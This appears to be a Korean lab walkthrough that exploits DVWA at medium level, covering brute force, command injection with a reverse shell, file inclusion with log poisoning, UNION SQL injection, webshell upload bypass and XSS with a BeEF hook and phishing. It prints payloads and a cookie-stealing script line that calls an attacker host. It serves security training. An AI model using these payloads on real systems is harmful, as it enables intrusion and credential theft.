DVWA(Damn Vulnerable Web Application)는 웹 취약점을 연구할 수 있도록 취약하게 설정되어 있는 웹 어플리케이션 서비스 환경이다.


취약점을 분석할 수 있는 항목은 무작위 대입 공격부터 크로스 사이트 스크립팅 취약점까지 실 서비스에서 많이 발생되는 취약점 위주로 편성되어 있다.

 

DVWA는 초급(Low), 중급(Medium), 고급(High) 레벨로 분류되어 있다. 레벨이 높아질 수록 시큐어 코딩이 강하게 적용되어 있는데, 본 장표에서는 중급 레벨로 설정 후 취약점 진단을 수행한다.


메인 페이지


Brute Force

무작위 대입 공격(Brute Force Attack)은 인증이 필요한 페이지에 공격자가 사전 파일에 있는 문자들을 하나씩 대입해서 원하는 데이터를 얻는 공격이다.


이와 비슷한 공격으로 사전 파일 공격(Dictionary Attack), 비밀번호 추측 공격(Password Guessing Attack) 등이 존재한다.

 

소스 코드를 보면 사용자가 입력한 값을 mysql_real_escape_string() 함수로 검증하고 있다. 이 함수는 SQL 인젝션에 사용되는 문자만 검증하므로 무작위 대입 공격 시 적절하지 못한 검증 방법이다.


Brute Force Source


Username, Password 입력 폼에 임의의 문자열을 입력 후 Login 버튼을 클릭하면 에러 메시지가 출력된다. 또한, Login 버튼을 연속 클릭해도 차단되지 않고, 단순 에러 메시지만 출력된다.


로그인 실패


Username, Password, Login 매개 변수의 값을 GET 메소드로 전달한다. 해당 매개변수 및 값을 히드라(hydra) 크랙 도구의 옵션에 지정한 후 실행한다.


실행 중 사전 파일에 있는 단어들을 하나씩 대입하게 되고, 아이디와 비밀번호를 찾으면 화면에 결과를 출력한다.


무작위 대입 공격 시도


히드라로 알아낸 정보를 입력 후 Login 버튼을 클릭하면 성공 메시지가 출력된다.


로그인 성공


과제
버프 스위트(Burp Suite)에서 무작위 대입 공격을 하려면 어떻게 해야할까?
상급 레벨은 시큐어 코딩이 적용된 적절한 대응 방안이다. 하지만, 무작위 대입 공격의 상급 레벨은 적절한 대응 방안이 아니다. 그렇다면 무작위 대입 공격에서 적절한 대응 방안은 무엇일까?

Command Execution

명령 실행(Command Execution) 취약점은 외부에서 시스템 명령어를 입력하면 사용자에게 시스템 명령어의 결과값을 출력해줄 때 발생한다.


소스 코드를 보면 아이피 주소가 숫자인지, 4개의 옥텟으로 구성되어 있는지, 점이 3개인지 등을 검증하는 코드가 존재하지 않는다.

 

또한, 명령어 연결 기호인 "&&", ";"이 입력되면 공백으로 치환하고 있으므로 그 외의 연결 기호를 입력하면 충분히 우회가 가능하다.


Command Execution Source


아이피 주소를 입력하면 3개의 패킷이 출력된다.


정상적인 데이터 입력


소스 코드에서 확인한 문자열 연결 기호 "&&", ";" 외의 우회 패턴을 입력하면 /etc/passwd, id 명령어가 실행되어 화면에 출력된다.


우회 패턴 입력


공격자는 리버스 커넥션 공격을 수행하려고 쉘에 "# nc –lvp 7777" 명령어를 입력하여 포트를 열어 놓는다. 또한, 다음과 같은 명령어를 입력한다.


리버스 커넥션 공격


명령어를 입력 후 submit 버튼을 클릭하면 웹 서버가 공격자 서버에 접속하여 세션이. 맺어지게 된다.


웹 서버의 쉘 획득


과제
PHP에서 시스템 명령어를 실행하는 함수는 무엇이 있을까?
명령어 연결 기호 "&&", ";", "|" 외의 연결 기호는 무엇이 있을까?
웹쉘 파일을 업로드하고, 실행할 수 있을까?
리버스 커넥션 공격으로 쉘을 획득했다. 하지만, 획득한 사용자를 보면 아파치 권한으로 실행되는 일반 사용자이므로 시스템 명령어 입력 시 제한을 받는다. 최고 관리자(root)의 쉘을 획득할 수 있을까?
root의 쉘을 획득했다면 추가적인 공격은 무엇이 있을까? (백도어 삽입, 데이터베이스 덤프 등)
시스템 함수를 내부 네트워크 대역의 특정 호스트만 실행하려면 어떻게 해야할까?

CSRF

크로스 사이트 요청 변조(CSRF, Cross Site Request Forgery) 취약점은 공격자가 사용자의 요청을 변조해서 해당 사용자의 권한으로 악의적인 공격을 수행한다.


소스 코드를 보면 REFERER 환경변수를 사용해 접근한 아이피 주소가 "127.0.0.1"인지 비교하고 있다. 또한, 현재 비밀번호를 입력 받지 않고, 새로운 비밀번호만 입력 받도록 구현되어 있어 충분히 우회가 가능하다.


CSRF Source


새로운 비밀번호(test)를 입력 후 Change 버튼을 클릭하면 비밀번호가 변경됐다는 메시지가 출력되지 않는다.


비밀번호 변경 실패


새로운 비밀번호를 입력 후 서버로 전송되는 패킷을 중간에 가로채어 REFERER 환경변수 값을 "127.0.0.1"로 변조 후 서버로 전송한다.


응답 패킷을 보면 비밀번호가 정상적으로 변경됐다는 메시지가 출력된다.


비밀번호 변경 성공


과제
초급 레벨로 설정 후 비밀번호를 변경할 수 있는 *.html 파일을 만들어 *.html 파일을 더블클릭하면 비밀번호가 변경될 수 있을까?
초급 레벨로 설정 후 사용자가 게시물을 클릭하면 해당 사용자의 비밀번호가 변경될 수 있을까?
CSRF 공격은 비밀번호 변경만 가능할까?
비밀번호와 같은 중요 정보가 외부에 노출되는데, 이에 대한 대응 방안은 무엇일까?
CSRF 공격의 대응 방안 3가지는 무엇일까?

File Inclusion

파일 삽입(File Inclusion) 취약점은 웹 페이지를 불러들일 때 사용되는 include(), require(), include_once(), require_once() 등 함수를 사용할 때 발생한다.


포함할 웹 페이지를 특정 변수($_GET, $_POST 등)에 전달하고, 전달된 변수를 검증하지 않으면 시스템 명령어가 실행된다.


⊙ 로컬 파일 삽입(LFI, Local File Inclusion)

- 웹 서버에 존재하는 특정 파일 포함

- www.test.php?path=../../../../../../../../etc/passwd


⊙ 원격 파일 삽입(RFI, Remote File Inclusion)

- 원격 서버에 존재하는 특정 파일 포함

- www.test.php?path=www.daze.com/webshell.php


소스 코드를 보면 GET 메소드로 전달된 매개변수의 값이 "http://", "https://" 이면 널(NULL) 문자로 치환한다. 이는 블랙 리스트(Black List) 검증 방식으로 충분히 우회가 가능하다.


File Inclusion Source


page 매개변수에 웹 서버의 존재하는 파일(/etc/passwd)을 입력하면 시스템 계정 정보가 노출된다.


시스템 계정 정보 노출


PHP 코드를 웹 서버 로그 파일에 기록하고, 기록된 코드를 이용해 시스템 명령어를 실행시킬 수 있다. 단, 로그 파일에 접근 권한이 제한되어 있거나 로그 필터링이 적용되어 있으면 로그 파일을 포함할 수 없다.


page 매개변수에 "/proc/self/environ"을 입력하면 시스템 설정 내용이 노출된다.


해당 파일은 현재 로그인 되어 있는 사용자의 환경 변수가 저장되는 파일로 self 대신 PID를 지정하면 지정한 PID의 환경변수를 확인할 수 있다. 해당 파일에 접근할 수 있다는 것은 로그 파일에 PHP 코드 삽입이 가능하다.


/proc/self/enciron


PHP 코드를 웹 서버 로그 파일에 기록하는 방법은 웹 페이지 주소, 텔넷, 요청 헤더의 User-Agent, REFERER 등 존재한다. 이 중 User-Agent를 조작하여 웹 서버에 로그를 기록하는 방법을 살펴본다.


리버스 커넥션 공격의 사전 단계인 공격자 서버에 "7777", "8888" 두개의 포트를 열어 놓는다.


공격자 서버 포트 설정


/proc/sel/environ 파일 요청 시 중간에 패킷을 가로채어 User-Agent 값을 조작 후 서버로 요청한다.


User-Agent 조작


웹 서버로 요청하면 아파치 로그 파일에 조작된 User-Agent 값이 기록되고, 해당 PHP 코드가 실행되어 공격자 서버와 세션이 맺어진다.


웹 서버 쉘 획득


과제
page 매개변수를 조작하여 웹쉘 파일 업로드 및 실행이 가능할까?
User-Agent 값을 조작하여 웹쉘 파일 업로드 및 실행이 가능할까?
각 시스템의 로그 파일 경로는 어떻게 될까?
리버스 커넥션 공격 시 User-Agent 부분에 nc 명령어를 사용하지 않고, 왜 telnet 명령어를 사용했을까?
PHP 에러 메시지를 노출하지 않게 하려면 어떻게 해야 할까?

SQL Injection

SQL 인젝션(SQL Injection) 취약점은 사용자가 입력한 값을 적절한 검증없이 데이터베이스 쿼리 일부분으로 포함될 때 발생된다.


⊙ 에러 기반 SQL 인젝션(Error-Based SQL Injection)

- 정상적인 값을 입력하면 그에 대한 결과 값이 출력되고, 비정상적인 값을 입력하면 에러 메시지가 출력


⊙블라인드 SQL 인젝션(Blind SQL Injection)

- 정상적인 값을 입력하면 그에 대한 결과 값이 출력되고, 비정상적인 값을 입력하면 그에 대한 결과 값이 출력되지 않음 (에러 메시지도 출력되지 않음)


소스 코드를 보면 입력된 id 매개변수를 mysql_real_escape_string() 함수로 검증한다.


하지만, 이 함수는 SQL 인젝션에 사용되는 NULL, \n, \r, \, ', ", \x1a 문자만 검증하는 함수이다. 숫자로 입력 받을 경우 그에 대한 검증이 이루어 지지 않고 있다.


또한, mysql_error() 함수를 사용하여 에러 메시지를 출력하여 추론 정보를 제공하고 있다.


SQL Injection Source


SQL 인젝션 취약점이 존재하는지 확인하려고 싱글 쿼터(')를 입력하면 에러 메시지가 출력된다. 소스 코드에서 확인한 대로 싱글 쿼터 문자를 검증하고 있다.


취약점 진단(1)


mysql_real_escape_string() 함수의 검증 문자를 사용하지 않으면 충분히 우회가 가능하다. 로그인 우회 시 사용되는 "1 and 1=1 –" 구문을 입력하면 첫 번째 필드인 admin 계정이 출력된다.


취약점 진단(2)


admin 계정의 비밀번호를 확인하려면 테이블명, 필드명을 알아야 한다. 해당 테이블의 필두 개수를 확인하려고 "order by 1 --", "order by 2 --", "order by 3 --"를 입력한다.


숫자가 3일 때 "Unknown column '3' in 'order clause'" 에러 메시지가 출력된다. 해당 테이블은 필드 개수가 2개라는 것을 의미한다.


취약점 진단(3)


필드 개수를 확인하였으므로 "1 and 1=1 union select database(), version() --"을 입력하면 데이터베이스명과 버전 정보가 출력된다.


취약점 진단(4)


admin 계정이 속해있는 테이블명, 필드명을 확인하기 쉬운 방법은 information_schema()를 이용하면 된다.


dvwa(0x64767761) 데이터베이스에 존재하는 테이블명을 보면 "guestbook", "users" 테이블이 출력된다. 두개의 테이블 중 users 테이블이 계정 정보가 들어있는 테이블로 의심이 된다.


취약점 진단(5)


users(0x7573657273) 테이블의 필드명을 보면 6개의 필드가 출력된다. 이 중 아이디와 비밀번호 정보가 존재할 것으로 예상되는 user, password 필드가 의심된다.


취약점 진단(6)


users 테이블의 아이디와 비밀번호를 조회하면 각 계정의 비밀번호가 MD5 해쉬 값으로 저장되어 있다.


취약점 진단(7)


MD5 해쉬 알고리즘으로 저장되어 있는 admin 계정의 비밀번호를 크랙하면 평문의 비밀번호가 출력된다.


MD5 크랙


과제
블라인드 SQL 인젝션 취약점 진단은 어떻게 해야할까?
관리자 계정은 테이블의 첫 번째 필드에 왜 저장하면 안될까?
SQL 인젝션 취약점으로 시스템에 존재하는 파일을 출력할 수 있을까?
SQL 인젝션 취약점으로 웹쉘 파일을 업로드할 수 있을까?
SQL 인젝션 취약점으로 리버스 커넥션 공격을 할 수 있을까?
mysql_real_escape_string() 함수를 우회할 수 있는 또 다른 방법은 무엇이 있을까?
비밀번호는 평문, MD5로 저장하면 안될까?
MySQL의 보안 설정 방법은 무엇이 있을까?

Upload

파일 업로드(File Upload) 취약점은 파일을 첨부할 수 있는 게시판, 회원 프로필 등에 파일을 검증하지 않아 발생된다.


이 취약점을 이용해 공격자는 웹쉘, 악성 파일을 업로드하여 시스템 권한을 획득할 수 있다. 주로 게시판, 회원 프로필, 웹 애플리케이션 서버(WAS, Web Application Server) 등에서 발생한다.


소스 코드를 보면 업로드할 파일 타입이 "image/jpeg"이고, 크기가 100,000 바이트(=100KB) 이하인 파일만 업로드가 가능하다. 하지만, 파일 타입을 조작하면 충분히 우회가 가능하다.


Upload Source


정상적인 그림 파일을 업로드하면 "../../hackable/uploads/jaze2.jpg successfully uploaded!" 메시지가 출력된다.


그림 파일 업로드


웹쉘 파일을 업로드하면 "Your image was not uploaded." 메시지와 함께 에러 메시지가 출력된다.


웹쉘 파일 업로드


웹쉘 파일 업로드 시 패킷을 보면 Content-Type이 "application/octet-stream"으로 설정되어 있으므로 정상적으로 파일이 업로드 되지 않는다.


웹쉘 파일 업로드 시 패킷


단순히 Content-Type만 검증하고 있으므로 Content-Type을 "image/jpeg"로 변조 후 서버로 요청하면 정상적으로 파일이 업로드 된다.


파일 검증 우회


업로드 된 경로(http://10.10.0.20/dvwa/vulnerabilities/upload/../../hackable/uploads/b374k-2.7.php)로 이동하면 웹쉘이 실행된다.


웹쉘 실행


과제
MIME 타입이 무엇일까?
png 등의 그림 파일은 왜 업로드가 되지 않을까?
파일 업로드 우회 기법은 Content-Type 조작 기법만 있을까?
웹쉘 업로드 후 추가적인 공격은 무엇이 있을까? (추가적인 공격을 하려면 왜 제한을 받을까?)
취약점 진단 시 웹에서 공유되는 웹쉘 파일을 업로드하면 안되는 이유는 무엇일까?
파일 업로드 취약점이 존재하는 웹 애플리케이션 서버는 무엇이 있을까?
파일 업로드 취약점 발생 시 웹쉘 파일만 업로드할까?
파일 업로드 취약점에 대한 적절한 대응 방안은 무엇이 있을까?

XSS reflected

크로스 사이트 스크립팅(XSS, Cross Site Scripting) 취약점은 웹 애플리케이션이 사용자가 입력한 값을 검증하지 않고 받아들일 때 발생되는 취약점이다.


또한, 사용자가 입력한 값을 검증하더라도 출력 값을 검증하지 않으면 스크립트가 실행된다.


⊙ 반사 크로스 사이트 스크립팅(Reflected XSS)

- 스크립트가 포함된 URL를 이메일, 게시판, 타 사이트 게시판 등을 이용해 사용자에게 노출시켜 사용자의 정보를 획득

- 스크립트가 데이터베이스에 저장되지 않음

- 단순 URL 클릭하도록 유도

- 이미지 등의 파일 내의 URL을 숨김


⊙ 저장 크로스 사이트 스크립팅(Stored XSS)

- 스크립트를 게시판에 작성해 사용자에게 노출시켜 사용자의 정보를 획득

- 스크립트가 데이터베이스에 저장됨


소스 코드를 보면 사용자가 입력한 문자열에서 "<script>"가 존재하면 공백으로 치환한다. str_replace() 함수는 대/소문자를 구분하지 않으므로 충분히 우회가 가능하다.


XSS reflected Source


입력 폼에 스크립트를 입력하면 스크립트가 실행되지 않고, "<script>" 문자열이 제거된 상태의 문자열이 출력된다.


취약점 진단(1)


"<script>" 문자열만 검증하므로 "<Script>alert()</Script>"를 입력하면 스크립트가 실행된다. 소스 코드를 보면 "<script>" 문자열이 공백으로 치환되지 않는다.


취약점 진단(2)


과제
반사 크로스 사이트 스크립팅 취약점은 데이터베이스에 저장되지 않는다. 그렇다면 어디에 저장이 될까?
반사 크로스 사이트 스크립팅 취약점을 이용해 사용자의 PC를 어떻게 위협을 줄 수 있을까?
취약점 진단 시 인터넷 익스플로러 환경에서만 진단을 해야할까?
크로스 사이트 스크립팅 취약점의 공격 벡터는 무엇이 있을까?
크로스 사이트 스크립팅 취약점에 대한 검증 함수는 무엇이 있을까?
쿠키 접근을 제한하거나 자바스크립트 실행을 차단하는 HTTP 플래그는 무엇인가?
해당 HTTP 플래그를 우회하는 공격은 무엇인가?
사용자단과 서버단의 대응 방안은?

XSS stored

저장 크로스 사이트 스크립팅 취약점은 반사 크로스 사이트 스크립팅 취약점과 다르게 관리자PC를 공격할 수 있는 범위가 많이 존재한다.


게시판, 1:1 질의응답, 회원정보 수정 등에 스크립트를 삽입하고, 관리자가 해당 콘텐츠를 읽는 순간 스크립트가 실행된다.


해당 취약점의 소스 코드를 보면 name 매개변수에 str_replace(), mysql_real_escape_string() 함수를 사용하고, message 매개변수에 strip_tags(), addslashes(), mysql_real_escape_string(), htmlspecialchars() 함수를 사용하여 검증하고 있다.


message 매개변수를 공략하는 것보다 name 매개변수를 공략하는 것이 더 효율적이다.


XSS stored Source


Name 필드에 길이가 10으로 제한되어 있으므로 길이를 100으로 설정한다. 또한, Name 매개변수에 다음과 같은 스크립트를 삽입한다.


취약점 진단(1)


str_replace(), mysql_real_escape_string() 함수에서 검증하지 않는 문자를 삽입하면 스크립트가 실행된다.


스크립트 실행


저장 크로스 사이트 스크립트 취약점이 발생 되었으므로 해당 취약점을 이용해 게시글을 클릭한 사용자PC의 세션 정보를 탈취하는 공격을 해본다.


크로스 사이트 스크립트 공격 프레임워크는 여러가지 있지만, 본 장표에서는 BeEF(The Browser Exploitation Framework)를 이용한다. 쉘에서 "beef-xss"를 입력하면 BeEF가 실행된다.


BeEF 실행


저장 크로스 사이트 스크립트 메뉴의 이름 입력 폼에 "<Script src="http://10.10.0.4:3000/hook.js"></Script>"를 삽입한다. 해당 스크릅트는 BeEF를 실행하면 출력되는 hook.js 파일의 경로이다.


hook.js 삽입


스크립트가 삽입된 게시글을 클릭하면 BeEF는 사용자의 세션 정보를 획득한다.


사용자 세션 획득


BeEF가 사용자의 세션 정보를 획득하면 쿠키 정보 탈취, 피싱 공격, 시스템 취약점 공격, 웹캠 공격 등 다양한 공격을 수행할 수 있다. 이 중 구글 피싱 공격을 실행해 계정 정보를 획득해본다.


○ Current Browser > Commands > Social Engineering > Google Phishing > Execute


구글 피싱 공격 실행


공격을 실행하면 사용자의 웹 브라우저는 구글 피싱 사이트에 이동된다. 구글 사이트에 존재하는 아이디와 비밀번호를 입력한다.


구글 사이트 이동


사용자가 구글 계정을 입력하면 BeEF에 구글 계정 정보가 평문으로 전송된다.


구글 계정 획득


과제
사용자의 입력 값 뿐만 아니라 출력 값 검증을 왜 해야하나?
스크립트를 반드시 사용해야 할 경우 고급 레벨의 검증 방식은 옳지 않다. 그렇다면 어떻게 해야 할까?
회원 가입 및 회원정보 수정 페이지의 어떤 곳에 크로스 사이트 스크립팅 취약점이 발견될까?
게시판에 <script src="http://공격ip/cookie.php?cookie="+document.cookie</script> 형식을 사용하면 안되는 이유는 무엇일까?
해당 취약점을 이용해 어떤 공격이 가능할까? (랜섬웨어 감염도 될까?)
반사 크로스 사이트 스크립팅 취약점과 저장 크로스 사이트 스크립팅 취약점 중 어떤 것이 공격 성공률이 높은가?
BeEF에서 구글 피싱 공격 외의 다른 공격도 가능할까?

PHP Info

PHP 정보 취약점은 사용자의 웹 브라우저에 phpinfo() 함수가 실행되거나 PHP 정보가 노출될 때 발생된다.


소스 코드를 보면 phpinfo.php 파일 내의 phpinfo() 함수가 존재한다. 따라서, phpinfo.php에 접근하면 해당 함수가 실행되어 PHP 정보가 노출된다.


PHP Info Source


메인 페이지 URL에 ''?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000'를 삽입하면 PHP 5.5 미만 버전에서 PHP 로고 및 버전이 노출된다.


PHP Easter Eggs


과제
PHP 버전 정보가 노출되지 않게 하려면 어떻게 해야할까?
PHP 버전 정보가 노출되면 안 되는 이유는?
노출된 버전에서 수행 가능한 공격은?

HTTP transmission

HTTP 평문 전송 취약점은 회원 가입, 로그인, 회원정보 수정, 결재 등 계정 및 비밀번호와 같은 중요 정보를 전송하는 구간에 평문의 데이터가 노출되는 취약점이다.


해당 구간에 HTTP 프로토콜을 사용하여 전송한다면 동일 네트워크 구간의 제 3자가 스니핑 공격으로 중요 정보를 획득할 수 있다.


소스 코드를 보면 아이디와 비밀번호를 SQL 인젝션 취약점에 대응하기 위한 함수로 검증하고 있다. 하지만, 사용자가 입력한 계정 정보를 HTTPS 프로토콜을 사용하여 암호화 하는 코드는 존재하지 않다.


HTTP transmission Source


로그인 시 패킷을 캡처해보면 HTTP 프로토콜을 사용하여 아이디와 비밀번호가 평문으로 전송된다.


로그인 시 패킷


과제
SSL/TLS 통신이 적용된 웹 페이지를 대상으로 패킷 캡처하여 패킷 구조 파악
SSL/TLS 통신이 적용된 웹 페이지의 패킷을 보면 HTTP 패킷이 보이지 않는다. 하지만, 일부 웹 사이트는 HTTP 요청 바디만 암호화를 한다. 그 이유는 무엇일까?
HTTP 평문 통신을 확인하기 위해 버프 스위트나 피들러와 같은 도구를 사용해 판단하면 안 되는 이유는 무엇일까?

▶ oyesmall 취약점 진단

▶ XSSF(Cross Site Scripting Framework) 사용법

▶ sqlmap - SQL Injection

▶ CVE-2012-1823 취약점 분석 (PHP-CGI)

▶ 칼리리눅스 SSL Strip 공격 방어

▶ WebShell Decode (UnPHP)

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유